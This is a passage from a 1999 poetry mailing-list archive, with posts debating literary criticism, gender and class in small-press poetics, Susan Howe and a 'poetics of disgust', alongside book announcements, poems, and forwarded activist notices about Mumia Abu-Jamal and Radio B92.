> yes me up and down to this
> unless
> "exists for nothing" is
>
> not apprehendable in terms of function
> ain't a functional thing
>
> because i think (doesn't 'mean' i am)
> but
> cdn't it be
> cdn't, not 'poetry'
> but a poem
> be a functional thing
> i'm trying to do that now and then others are too i know examples etc
>
> that 'resolution of art object and art process' piece
>
> poem as 'thought experiment'
>
> ?
>
> )L

↑ Index

299. Thomas Bell

Re: shifts in modalities

Wed 24 Mar 1999

I may be white, male, and of working class background. I still am a 'working' person and did put myself through a middle-ground state university by working my way through it. I attended some of the classes mentioned and wrote my share of crappy papers. I did eventually switch majors and depart from the scene referred to but I prefer to think it was because of my perceptiion of the basically hypocritical and political atmosphere of literature and writing programs (this was thirty years ago so no one here need take offens). I find the comments below offensive to me, my children, and their teachers, among others.

Rebecca Wolff wrote:
>
> You need only take a look at the dismal thing that is the lowgrade grad > seminar at the middle-ground state university in which, say, a bunch of > middle class folks who "love books" or in this case "love poetry" and want > to write papers about it and teach it are being agonizingly weaned by a > well-trained, frustrated professorial practitioner who got her pHd, > needless to say, somewhere entirely else, away from the practice of looking > for "what it means" and toward the practice of coming up with salient > materialistic points for their inevitably crappy papers to know why this > particular shift will be the death of all joy in poetry. I have no doubt > that it will happen, and it will suck.

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

300. Tony Green
Re: what poetry's for
Wed 24 Mar 1999

---

disquiet unquiet drawn to death's teeth smirking snorkeling
ask anyone

Tony Green

↑ Index

301. Katie Degentesh
6,500 reminder
Wed 24 Mar 1999

Just a reminder that 9x9's release party for its magazine, 6,500, is happening tomorrow night, Thursday March 25, at New College of California, 777 Valencia, San Francisco, 7:30 pm. Hope to see/meet some of you there!

--Katie

↑ Index

302. Grant Jenkins
defensive poetry
Wed 24 Mar 1999

> This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

↑ Index

303. Linda Russo
Re: Page Mothers & Delinquent Daughters
Wed 24 Mar 1999

---

re Nancy's discussion of Sianne Ngai's "Poetics of Disgust" > Linda, thanks for the long and thoughful post. can you clarify the clause > "criticized on the basis of it's having been carelessly read"?

you're welcome. Nancy seems to think it is a viable formulation of a cultural poetics that has been overlooked as such. She didn't cite any specific readings or criticisms on Silliman's part or anyone else's.

also, what > evidence do you or did Shaw feel supports the notion that people are ignoring > Sianne's essay in the "group-manifesto" sense? it seems obvious to me at > least that the essay, with an editorial thrust by jeff derksen, functions > exactly in this way. now if you take the essay (which is part of a larger > piece/project i know little about--might be a dissertation) out of open letter > it would appear to me to to function a lot less in this traditional group > forming negativity sense. and i suppose i would be more inclined to meet the > essay in this context. i guess i see the group manifesto thing as played out.
> not that groups aren't happening or that groups aren't primary to > "advancement" (i get by with a little help from my friends), but i believe > once you start defining groups on paper with poems and essays then eventually > those definitions, which appear fixed in print, will come back to haunt you.

> so that you get exclusion problems, who's in who's out problems, correct form > problems, race gender and class problems, people who think they're in one > group fighting against people who think they're in another group, etc. eg l-p > looks to be led by white prose-poetry writing poem-essay blurring hetero males > seeking out the academic sinecures of the mark strands of the world. i'm not > saying that's the case or even that it's an intelligent way to read the l-p > phenom. but it can be read that way. and we should keep in mind Dodie's good > point about revisionism re Shange.

I don't really se 'group project'. I see people talking about things, and those things materializing in the small press. What's interesting is what serves to 'group' these people. location? politics? aesthetics? this list? gender?

I disagree with your description of Language groups as "led by white prose-poetry writing poem-essay blurring hetero males seeking out the academic sinecures of the mark strands of the world." Duplessis, Hejinian, Howe, Scalapino, and Fraser have all written essays and some even books, or have in some other way, as teachers or as editors, assumed leadership positions. But I see your response as evidence of the problem implicit in the gender dynamics of the small press. More men edit, more men publish, thus more men control the means through which poetries and ideas are materialized, and so there are more men leaving a 'paper trail' -- those cultural artefacts that we so love. A second 'problem' -- these women are probably partly obscured by their 'dual' concern with feminism and poetics. Poetry is as much about having a gender as not, yet women, as other, have assume the responsibility of addressing this issue.

I don't see a lang-po group -- the connections are made variously. But they can only be grouped on the basis of some particularity of their engagement and not generally.

Its this sort of insistence, I hear from Eliz. Treadwell and Rachel Daley and others recently on this list, the insistence on a group (generation as a group) to emerge that 'blinds' one to the groups that are emerging. part of Nancy's talk, which doesn't bear thru in an account of her reading of Ngai only, is the issue of shifting modalities, and the recognition of those as such.
> to me it seems more important (now) to look for commonalities among different > groupings and try to create permeable groups, to seek out many to many > relationships.

I would tend to agree but then your terms are so general here that I'm not sure what I'd be agreeing with. What do you mean by grouping -- a sort of self-selection? or that of the taxonomist? We can't first look for commonalities without first deigning to articulate them, no? But these writings would then be your "ghosts"? How does one proceed?

> Bill Luoma

↑ Index

304. Linda Russo
Re: shifts in modalities
Wed 24 Mar 1999

---

hi tom.

I agree with you on some problems in Ngai's argument. As a diagnostic a poetics of disgust does help identity a particular grammar ("raw matter"). but i'm not sure there's much cultural work being done in that. it's culturally aware in that it views the poetics as a response to culture. Ngai would like to push that into an area where it will do actual ideological batle with democratic pluralism which would exclude disgust as a reaction. On the other hand, she want to argue that 'raw matter' doesn't 'mean' but 'be's' (with a nod to mark Presjnar's recent post) but i'm not sure this isn't so much more of the 'subversiveness' which she tries to separate it from. I'm not sure, but I think by 'subversiveness' she means that which is merely textual? Or a position assumed as a reaction that isn't really effective? As 'material' as such a poetics is (@%$#!! and [] being some of its more material gestures, those that 'be') it's still only language, still implicit in language as a referential system (she wants to say we 'turn away' from those gestures [as in disgust] but maybe we just step over them so to speak?), and still not bodies thrown in the line of fire so to speak. She brings up a useful warning against the idea of 'eclecticism' however which would obscure the sort of taxonomies that both you tom and Bill luoma seem to desire. Again it's with reference to this concept that she tries to push a POD in the direction of the political, but in the end it still seems like an analogy to me.

* * * *

Linda Russo
[redacted]

↑ Index

305. Rachel Levitsky
a pole query: Poets for Justice for Diallo
Wed 24 Mar 1999

Al Sharpton vowed arrests everyday until the four officers are indicted for the Amadou Diallo killing.

He has made good on his promise--a prolongued strategy which has allowed other slower moving groups to join this campaign challenging Police Brutishness.

I have heard from activists that these arrests, at 12 noon at Police Plaza have been very calm and non-eventful (all walking, no resisting) and the consequences have been a mere Desk Appearance Ticket, most of which end up being dismissed, and that notables and non notables have been treated alike. I am wondering, if there would be folks out there willing to partake in this symbolic arrest, some time next week, date to be determined.

Of course at any time these events can be cancelled, especially if the officers are indicted,which they may be next week.

Backchannel if you are interested. No polemics on Sharpton please.

thanks,
Rachel

↑ Index

306. Rachel Levitsky
[FYI--Meet me in Philly]
Wed 24 Mar 1999

by killian.chelsea.net (8.9.1/8.9.1) with SMTP id MAA22982;
Tue, 23 Mar 1999 12:54:22 -0500 (EST)
Comments: Authenticated sender is <[redacted]>
From: "Millions for Mumia" <[redacted]> Organization: npcny
To: "[redacted]" <[redacted]>
Date: Tue, 23 Mar 1999 12:51:10 -0500
Subject: Communities, students build Millions for Mumia Reply-to: "[redacted]" <[redacted]>
Priority: normal

Millions for Mumia
39 W. 14 St., Suite 206
New York, NY 10011
Phone [redacted]

Fax [redacted]
Web: www.peoplescampaign.org
E-mail: [redacted]

FOR IMMEDIATE RELEASE
Attention: Assignment Editor
March 23, 1999
Contact: Greg Butterfield, Brian Becker [redacted]

Activity in Colleges, High Schools and Many Communities Builds Toward Massive 'Millions for Mumia' Marches April 24 in Philadelphia and San Francisco

Growing Movement Demands: 'Stop the Execution! End Police Brutality! A New Trial for Mumia Abu-Jamal!'

On Sat. April 24, people from all walks of life will march on Philadelphia and San Francisco as "Millions for Mumia," to stop the execution of African American journalist Mumia Abu-Jamal. They will demand a new trial for the death-row activist and add their voices to the growing chorus calling for an end to racist police brutality.

The Millions for Mumia April 24 Mobilization has been endorsed by over 500 individuals and organizations, including Ossie Davis, Alice Walker, Angela Davis, former U.S. Attorney General Ramsey Clark, Rev. Benjamin Chavis Muhammad, 1199 Health & Human Services Union/SEIU, Pam Africa, Cornel West, Edward Asner, Barbara Smith, Leonard Weinglass, Susan Sarandon, Bobby Seale, Rafael Cancel Miranda, Leslie Feinberg, Noam Chomsky, Geronimo ji Jaga (Pratt), Kathleen Cleaver, Manning Marable, Art Spiegelman and Ani DiFranco.

The immense level of activity in colleges, high schools and communities throughout the United States is a clear sign that the April 24 demonstrations will be among the largest in recent history, and the biggest ever on behalf of a U.S. political prisoner.

In a March 19 call to action, Ossie Davis, Pam Africa, Ramsey Clark and other leaders said: "Mumia Abu-Jamal is a former Black Panther and a lifelong fighter against racism, repression and police brutality. He is a widely published author and radio commentator. In 1981 Mumia was framed for the murder of a white police officer in Philadelphia. All the evidence, however, indicates that he is innocent.

"Mumia was sentenced to death. For the last 17 years he has been one of the most well known political prisoners in the United States. His last appeal to the State of Pennsylvania has been denied, despite the fact that witnesses who had been intimidated by the police have now come forward. He could be executed within six months."

They concluded: "The campaign to win a new trial for Mumia is more than the struggle for justice for one person. It is part of an emerging movement of community, student and youth activism that stands in opposition not only to police brutality, but also the death penalty, attacks on affirmative action, and the intensification of racism, sexism, homophobia and repression."

Communities, Students Mobilize Nationwide

Philadelphia, New York and San Francisco are the sites of the National "Millions for Mumia" Offices. Mobilizing centers have also been established in more than 70 cities and towns nationwide to organize buses to the April 24 demonstrations. A partial list includes:

Albany, N.Y.; Albany, Ga.; Ann Arbor, Mich.; Atlanta; Austin, Texas; Baltimore, Md.; Birmingham, Ala.; Boise, Idaho; Boston; Boulder, Colo.; Buffalo, N.Y.; Chicago; Cincinnati and Columbus, Ohio; Detroit; Grinnel, Iowa; Harrisonburg, Va.;

Houston; Hempstead, Long Island, N.Y.; Lawrence, Kan.; Los Angeles; Louisville, Ky.; Manhasset, N.Y.; Middletown, Conn.; Milwaukee; Minneapolis-St. Paul; Missoula, Mt.; Nashville, Tenn.; New Brunswick, N.J.; New Paltz, N.Y.; Newark, N.J.; Oberlin, Ohio; Paterson, N.J.; Pittsburgh; Portland, Ore.; Providence, R.I.; Richmond, Va.; Rochester, N.Y.;

San Diego, San Jose and Santa Cruz, Calif.; Seattle, Wash.; Springfield, Mass.; St. Petersburg, Fl.; State College, Pa.; Stony Brook, Long Island, N.Y.; Storrs, Conn.; Syracuse, N.Y.; Thorndike, Maine; Toledo, Ohio; Tucson, Ariz.; Western Massachusetts; Willimantic, Conn.; Woodstock, N.Y.; and Washington, D.C.

Following is a partial list of college campuses where students are organizing buses to participate in the April 24 "Millions for Mumia" demonstrations:

Antioch College, Ohio; Boise State University, Idaho; Borough of Manhattan Community College, New York; City College of New York; College of Saint Rose, Albany, N.Y.; College of Staten Island, N.Y.; Columbia University, New York; Connecticut College; Cornell University, Ithaca, N.Y.; DePauw University, Idaho; Eastern Connecticut State University; Florida International University; George Washington University, Washington, D.C.;

Georgetown University; Grinnel College, Iowa; Hamilton College, Clinton, N.Y.; Hampshire College, Amherst, Mass.; Hofstra University, Hempstead, N.Y.; Hostos Community College, Bronx, N.Y.; Hunter College, New York; Kent State University, Ohio; Long Island University, N.Y.; Massachusetts Institute of Technology; Medgar Evers College, Brooklyn, N.Y.; Morgan State University; Nassau Community College, Long Island, N.Y.;

New School for Social Research, New York; N.Y. Technical College, Brooklyn, N.Y.; New York University; Northwestern University; Oberlin College, Ohio; Philadelphia Community College; Portland State University, Ore.; Princeton University, N.J.; Queens College, N.Y.; Roxbury Community College, Mass.; Rutgers University, N.J.; Sarah Lawrence, N.Y.; State University of New York campuses in Binghamton, Purchase and Stonybrook;

Swathmore College; Syracuse University, N.Y.; Temple University, Philadelphia, Pa; University of Alabama, Birmingham; University of Albany, N.Y.; University of California in Berkeley and Los Angeles; University of Connecticut, Storrs; University of Illinois, Chicago; University of Massachusetts, Amherst; University of North Carolina, Greensboro; University of Wisconsin in Madison and Milwaukee; Vassar College; Virginia Commonwealth; Wesleyan University, Conn.; William Patterson University, N.J.; Yale University, Conn.; and York University.

Communities across the country are organizing contingents. Latinos/Latinas for Mumia are mobilizing in Boston; Hartford and Bridgeport, Conn.; Providence, R.I.; New York; New Jersey; Philadelphia; and Washington, D.C. Under the leadership of civil-rights leader Yuri Kochiyama, Asians for Mumia are sponsoring buses from both coasts. A lesbian, gay, bisexual and transgender contingent, Rainbow Flags for Mumia, is growing, with over 150 endorsements and mobilizations in Atlanta, Baltimore, Boston, Los Angeles, New York, Philadelphia, San Francisco, Tucson and several other cities. An Italian Americans for Mumia contingent from New York is being organized by Italian Americans for a Multicultural U.S.

In New York City, 100 buses have been reserved by the Millions for Mumia Mobilization to transport protesters to the Philadelphia march. That number is expected to grow as community groups, colleges and high schools plan their own buses to Philadelphia.

"Millions for Mumia" April 24 actions are also planned in other countries. International mobilizing centers include: San Juan, Puerto Rico; Amsterdam, the Netherlands; Berlin and Bremen, Germany; Carlton South, Australia; Hamburg, Germany; London, England; Ontario, Canada; Oslo, Norway; Paris, France; Rheine, Germany; and Vancouver, Canada.

More information is available from the National Mobilizing Office in New York. "Millions for Mumia" leaders, including Ossie Davis, Ramsey Clark and Leonard Weinglass, are available for interviews. Call [redacted].

-30-

↑ Index

307. A. Jenn Sondheim
<nettime> Help B92 campaign started tonight (fwd)
Wed 24 Mar 1999

---------- Forwarded message ----------
D-ate: Wed, 24 Mar 1999 23:37:09 +0100 (CET)
F-rom: sjoera nas <[redacted]>
T-o: [redacted]
S-ubject: <nettime> Help B92 campaign started tonight

Pressrelease
March 24th 1999

Help B92 and the independent media in Yugoslavia
Latest news at http://helpB92.xs4all.nl

Last night the transmitter of radio B92 from Belgrade was confiscated by the Serbian authorities. The editor-in-chief, Veran Matic, was held in custody in a police station for well over 8 hours. Despite this intimidation the station continues its independent news service. At De Balie in Amsterdam a support group has been founded tonight, which intends to support B92 and other independent media in Yugoslavia where possible in the continuation of these important news services.

With the support of internetprovider XS4ALL B92 also transmits its signals via internet since december 1996. These digital broadcasts are picked up by the BBC Worldservice and retransmitted via satellite. Through a network of local radio stations the programs of B92 can be heard throughout Serbia, despite repeated attempts by the authorities to silence the station. At this moment it is still possible to follow the broadcasts of Radio B92 in real audio on their website, at http://www.b92.net

In light of the current tense situation it is very likely that the possibilities of B92 to continue its independent news service will be limited even further. The support group therefore intends to take measures to distribute news by and about B92 from Amsterdam. For that purpose a special website has been opened at http://helpB92.xs4all.nl

B92 is the backbone of the independent news service in Yugoslavia. Without immediate financial support this last source of independent news for the inhabitants of this region is endangered. A fundraising campaign is being started by the support group, in order to send money and equipment to B92 and other independent radio stations in Serbia and Kosovo as soon as possible.

The founders of the support group are: B92, De Balie, De Digitale Stad, Next 5 Minutes, Press Now, radioqualia (Australia), De Waag (MONM) en XS4ALL.

The Postbank account for donations is 7676, made payable to Press Now in Amsterdam, please specify "Help B92". For more information or to send messages of support, please e-mail [redacted]. You can also digitally support this initiative by copying the special logo onto your website and linking to Help B92.

--- # distributed via nettime-l : no commercial use without permission # <nettime> is a closed moderated mailinglist for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [redacted] and "info nettime-l" in the msg body # URL: http://www.desk.nl/~nettime/ contact: [redacted]

↑ Index

308. Rachel Levitsky
Subway Sonnets by Steve Fried
Wed 24 Mar 1999

A coworker with whom I teach CUNY writing test prep (wat) for the union 1199 wrote the following. Let me know if I should post more. --R. Levitsky

Sonnets from the Job from Subway Sonnets Steve Fried [redacted]

5.
The rudeness by which a student will stand up and come, during class discussion, to my desk to ask a question about homework tops my list of the insensitive and pesky behaviors that betoken fear... of what but success, progress, learning as a nut rust-locked to threads it cannot climb or fall but sits becoming one with its bolt in a rotting way that spreads, infecting all the process with its broad assumption that learning is the province of some race or class or caste or code or outward grace and not the democratic saving spot of shine where rust flakes off without a trace.

6.
What the administrator doesn't know is that our students, people who're on jobs closer to war than she will ever go, need not the pose of friendship, sweetened so it patronizes, but not to be robbed of their time and strength in such short supply that just getting to class is winning one of a few battles in the whole long day with odds as good as crooked books would lay on fights of men with pens with men with guns.

The fallacy is sharper than the sword when bureaucrats play numbers with the need of people whom momentum forces toward an end that rescues or an end that bleeds.

13.
A test, like toilets, functions in a stall designed to catch and conduit the work of thought and body, and raise animal maneuvers to the status of elite and esoteric dance-steps: fighters' tricks taught to a handful of combative feet and practiced against bound bundles of sticks on petaled mountainsides that early spring when gray thaw water loosened under crusts of twig-enciphered ice that, cracking, sings down breezes that unbend bodies of grass against all gravity. Their gestures dust heaven with autumn's water to amass cumulus continensts that pass the test.

27.
A confrontation at a meeting starts a chain of phonecalls, more meetings, advice on how, without offending, to impart our distress at our new bosses' attacks on how we teach and whom, at more-than-twice-posed questions answered only with fog, stacked decks of stock response and blood-ugly lies that what we teach is not about the tests our students must pass to, in their own eyes, be whole and ready to pursue courses out of dying jobs, wield instruments against breathed roach-dust that stops breath or the fell force of race hate that buys Giuliani's votes and police batons across their children's throats.

28.
Off to meet with a new class, my ennui becomes a headwind against which I tack and, in the face of each resistance, lose the slightest will to move, until money asserts its primacy and sends me out to test the classroom weather, and there tout learning as something that deserves desire, as if where it has brought and left me proves it worth calories to make bodies move against such wind's enmity, through such fires as blow and burn between ourselves and it -- as if, besides this paper's freight of scrawl that moves me line by line from world to wall it bespoke lore that found love, or paid debts.

↑ Index

309. Mark Weiss
query--poetry project newsletter
Wed 24 Mar 1999

Heard a rumor today that I hope is unfounded that the St Marks Poetry Project Newsletter is soon to be no more. Confirm, deny, or elucidate?

↑ Index

310. Kevin L. Magee
Re: Henry's interest in destinato critico
Wed 24 Mar 1999

Here and There

Here is the negative. Over there where you are.
Here? Yes, sir. That is the way you saw it?
Yes, that is the way you saw it. That is not the picture they taken the date that parked pop truck was here.
Before it goes into the, into the furnace.
Always something in the factory or something like that.
Somewhere around there. If you wanted to check it out, you could check it out, if not you didn't have to.

Hold it a minute. I think over here, about there.
Coming out there, come right here.
Come right on back here, right there, about right in here, and like this pulls out of here over there. Do you have a picture?

There is no picture. The police taken pictures.
Yes, ma'am. Pull around from here to there.
Yes, ma'am. "Here" and "there" is a curtain place.
Pull around there about from here to that chair,
and it stayed there, about down to the back of the chair, back here. The chair in the last row? Yes, the back row of chairs from where you are to the back row.

You are as far from where you were to what period of time did you work at Winn-Dixie.
Do you remember when a man come out to talk to you,
and there was a red-haired young lady making some notes?
She was writing down the things being said.
I was out there. I was already out there.
And then my boss said, "What the hell, he wasn't even out there."
No, I was already out there.
After he left, he talked to me.
After they got done calling me.

The guy said he was hollering the way he was going on there.
I told him a lot more than that.
You all in here, somewhere around there.
She knew the ropes, things like that.
She was like trying to train me.
It wasn't like I didn't pay no attention.
What they had trained me for was a mold instrumentor.
And then they said it and it got bigger and popular.
Admonitions. Go out there hollering.
It is putting platinum wire on a jet propeller.

P.S. Dear Henry, last Saturday Miguel Rubio was writing a parapgraph for me and wrote down this word --pressing pen hard on to page, like he was carving it-- e x s p e c i a l i l y, which brought to mind my own e x s p e s s h a l l y, spoken 22 years ago this April in a community college in Plantation, Florida (my hometown).
"Get rid of that X." "It sounds ignorant."
On the table were letters of recommendation
(her idea, not mine) to Vanderbilt, Princeton and Yale
(I made it as far north as New Orleans--for a year).
Why is educated english so afraid of the X?
That's how they said it in elizabethan england
according to my original spelling edition of shaxespear.

My students from the east side of Cleveland come down hard on the X--chewing it, enjoying it, refusing to give it up--and I never admonish them (my Adorno: "the poor chew words to fill their bellies")
so I would speak to your yearning for "black speech":
I listen for it listening and trying hard to relearn
the eloquent vernacular of the north american working class that I readily sacrificed--buried, really--so severely that when I walked into a room in Des Moines in 1987 to meet with agitators getting jobs in the slaughterhouses their leader, whom I'd already met and spoken with, whose own folks he'd said had been sharecroppers in Mississippi, laughed out loud the brave heart's laugh
as soon as I opened my mouth. "There," he said,
"didn't I tell you he had a British accent?"

It is called CLASS BETRAYAL, but that is not the right word.

Kevin

↑ Index

311. aerialedge
Integrity & Dramatic Life by Anselm Berrigan
Thu 25 Mar 1999

Edge books is absolutely pleased to announce publication of _Integrity & Dramatic Life_ by Anslem Berrigan. 64 pgs, perfectbound.

Regularly $10, special to the Poetics List $7.50 until April 15. Or receive _Sight_ by Lyn Hejinian and Leslie Scalpino and _Integrity & Dramatic Life_, both books for $15. Email your address & we will send you an SASE for payment or mail your check to the address at the end of this post.

Publisher's Weekly says "Berrigan's book is a rare, beautiful keeper." See here:

A brooding intellect injected into the effusive lyricism of the New York School makes Berrigan's famous parentage--he is the son of poets Ted Berrigan and Alice Notley--an inheritance he self-awarely transforms. Berrigan is not so much undoing intellectualism as trying to wear it lightly, and lyricize it in ways that may at first resemble the work of Ron Padgett, but comes closer to the more sublimated pleasures of John Ashbery: "Do I have to slip into a box/ To prove my disinterest in watching my step?" Berrigan posits a kind of detachment that can co-exist with a heavily marked social calendar ("the phone never rings I never get it when it does"), yet is wryly aware that as a poet "you can get a medal for running in circles, that's integrity for you," and thus balances the sometime solemnity of art with a "dramatic life" that can "instantly trivialize anything." At the tender age of 26, Berrigan is a master of the exuberant, and reading the book straight through can somewhat diminish the quirky insights and intense subjectivity of the individual poems. Yet the pathos of "8/1/97"; the slower, intimate, tenderness of "To what end is what we got..."; and the formal quatrains that appear at the end of the sprawling poem "Ghost Town"-"To be as strange as what/ The heart contains as method/ Of departure it makes sense/ To shake when approaching"-evidence an impressive tonal range. An exciting debut that taunts its own allure-"Catullus didn't/ Have to go down on the mic"--Berrigan's book is a rare, beautiful keeper.

--Publisher’s Weekly 3/29/99

Anselm Berrigan's poems, in Integrity & Dramatic Life, seem almost as much like natural objects as anything constructed-a waterfall of inevitable beauty. But built they are, of course, & very cannily. Here is someone who has been absorbing poetry all his life, exactly as Ken Griffey Jr. picked up baseball, with equally spectacular, seemingly effortless results. His poems are so good you can read them backwards or forwards or standing on your head; they sing in every direction. "Simply the best we have." --Elinor Nauen

Marvelous. Terrific. Gorgeous. Anselm Berrigan's Integrity and Dramatic Life tells stories about being young and living in a city and having love for others. Here the poems are so rich with connection they change one's life for the better. --Juliana Spahr

AERIAL/EDGE

They Beat Me Over the Head With a Sack, Anslem Berrigan, $5.
Integrity & Dramatic Life, Anselm Berrigan, $10.
the julia set, Jean Donnelly, $4.
Marijuana Softdrink, Buck Downs, forthcoming 1999.
World Prefix, Harrison Fisher, $4.
Metropolis 16-20, Rob Fitterman, $5.
perhaps this is a rescue fantasy, Heather Fuller, $10.
Sight, Lyn Hejinian and Leslie Scalapino, $12.
Late July, Gretchen Johnsen, $3.
Asbestos, Wayne Kline, $6.
Stepping Razor, A.L. Nielsen, $9.
Errata 5uite, Joan Retallack, $8.
Dogs, Phyllis Rosenzweig, $5.
Aerial 9: Bruce Andrews, Rod Smith ed., $15, forthcoming May1999.
Aerial 8: Barrett Watten, Rod Smith ed., $15.
Aerial 6/7 featuring John Cage, Rod Smith ed., $15.
Aerial 5 featuring Harryman/Hejinian, Darragh/Retallack, Rod Smith ed., $7.50.

On Your Knees, Citizen: A Collection of "Prayers" for the "Public" [Schools], Rod Smith, Lee Ann Brown, and Mark Wallace, eds., $6.
Cusps, Chris Stroffolino, $2.50.
Nothing Happened and Besides I Wasn''t There, Mark Wallace, $9.50.

Orders to: Aerial/Edge, POBox 25642, Washington, DC 20007.

Thanks.

↑ Index

312. Catherine Daly
was gender class etc. & also Loyola readings
Thu 25 Mar 1999

I think it was David Bromige (sp?) who posted the Loyola readings listing; thank you. I enjoyed the reading. Started a bit late: the campus church bells rang eight WAY before Willis and Gizzi started.

Also re: the gender/class discussion. I came across this Turing test site: http://www.cs.bilkent.edu.tr/~psaygin/ttest.html

I had forgotten the test was a man, a woman, and a questioner...

Now if the questions were poems, or a corpse, then...

And if only male engineers (working class or professional?) construct the machine...

Regards,
Catherine Daly
[redacted]

↑ Index

313. dbkk
Stevens date
Thu 25 Mar 1999

Hi everyone, this is Kevin Killian, I'm writing an article on the actress Julie Newmar and would like to know--real quick--what is the year Wallace Stevens wrote "Anecdote of the Jar"?

Please respond back channel to yours truly and thanks to everyone.

↑ Index

314. Richard Carfagna
Re: Armand Schwerner Tablets
Thu 25 Mar 1999

Hi miekal,
I don't know if this will be of any considerable help, but check out the essay at this site:
http://www.valdosta.edu/vsu/dept/cas/eng/note/lavazzi.htm
If you can't get to it , let me know and I can either e-mail or fax a copy to you.
ric

From: POETICS[SMTP:[redacted]]
Sent: Thursday, March 25, 1999 9:39 AM
To: [redacted]
Subject: Re: Armand Schwerner Tablets

Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)

Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.

just doesn't feel the sample without one-liners, something abt community.

miekal

↑ Index

315. Tom Orange
Lettrisme
Thu 25 Mar 1999

---

forwarded from a friend of mine. any info appreciated. please backchannel me or, if the interest is there, i will send out a compilation of any info i get. thanks, tom orange / london, ont.

---------- Forwarded message ----------
hi tom,

could you do me a favour? can you ask the poetics list if anyone knows of any good stuff written in english about the Letteriste International, Isidore Isou in particular?

↑ Index

316. Lowther,John
Re: defensive poetry
Thu 25 Mar 1999

Grant / Rebecca / poetix

i must confess to a slight guilty joy when i read Rebecca's post
b/c i too feel some frustration when reading something (hypotheticaly) about Howe or whomever and being led down the biographical trail in order to be 'set up for' a decisive reading of some poem of whatever but then, this is what academic critics do much of the time (not all the time) so why not simply ignore it ? i mean, is it dangerous to me if i pay no mind to its existence ?

maybe so i imagine an argument cd be made that criticism has some power over me - what i can publish maybe

but i continue to feel undominated [someone will lower the magic duck as the phrase of the day has been alluded to : 'false consciousness']

but another rub in this case is that Susan Howe has all these sort of biographical things around too - wherein she tell you and i and the whoever reads them things about her life family history etc

i guess these too cd be ignored

but what if they're good ? interesting ? what if they unsullied by the incursions of limping little academics fresh off an imagined treadmill.. what if they <flash> give you a sudden 'insight' about a poem of Ms. Howe's ?

sleeping with the enemy ?

)L

> -----Original Message-----
> From: Grant Jenkins [SMTP:[redacted]]
> Sent: Wednesday, March 24, 1999 6:18 PM
> To: [redacted]
> Subject: defensive poetry
>
> This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

↑ Index

317. dbkk
Re: class & gender
Thu 25 Mar 1999

At 8:29 AM -0800 3/24/99, R. Tremblay-McGaw wrote:

> I've found that some of the work of fellow feminist writers is "polite," operates with a certain decorum (I fight against this myself), that is claustrophobic. For me, there is a connection with class and gender and sexuality issues here.

Robin,

